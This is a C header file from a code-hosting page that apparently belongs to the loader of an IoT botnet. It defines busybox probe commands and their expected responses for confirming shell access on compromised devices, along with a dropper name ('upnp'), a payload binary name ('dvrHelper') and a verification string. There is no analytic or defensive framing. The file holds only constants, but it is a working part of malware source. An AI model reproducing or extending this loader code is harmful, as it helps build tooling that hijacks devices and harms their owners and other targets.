37 lines
830 B
C
Executable File
37 lines
830 B
C
Executable File
#pragma once
|
|
|
|
#include <stdint.h>
|
|
|
|
#define STDIN 0
|
|
#define STDOUT 1
|
|
#define STDERR 2
|
|
|
|
#define FALSE 0
|
|
#define TRUE 1
|
|
typedef char BOOL;
|
|
|
|
typedef uint32_t ipv4_t;
|
|
typedef uint16_t port_t;
|
|
|
|
#define LOADER_LITTLE_ENDIAN
|
|
|
|
#define ATOMIC_ADD(ptr,i) __sync_fetch_and_add((ptr),i)
|
|
#define ATOMIC_SUB(ptr,i) __sync_fetch_and_sub((ptr),i)
|
|
#define ATOMIC_INC(ptr) ATOMIC_ADD((ptr),1)
|
|
#define ATOMIC_DEC(ptr) ATOMIC_SUB((ptr),1)
|
|
#define ATOMIC_GET(ptr) ATOMIC_ADD((ptr),0)
|
|
|
|
#define VERIFY_STRING_HEX "\\x6b\\x61\\x6d\\x69"
|
|
#define VERIFY_STRING_CHECK "kami"
|
|
|
|
#define TOKEN_QUERY "/bin/busybox ECCHI"
|
|
#define TOKEN_RESPONSE "ECCHI: applet not found"
|
|
|
|
#define EXEC_QUERY "/bin/busybox IHCCE"
|
|
#define EXEC_RESPONSE "IHCCE: applet not found"
|
|
|
|
#define FN_DROPPER "upnp"
|
|
#define FN_BINARY "dvrHelper"
|
|
|
|
extern char *id_tag;
|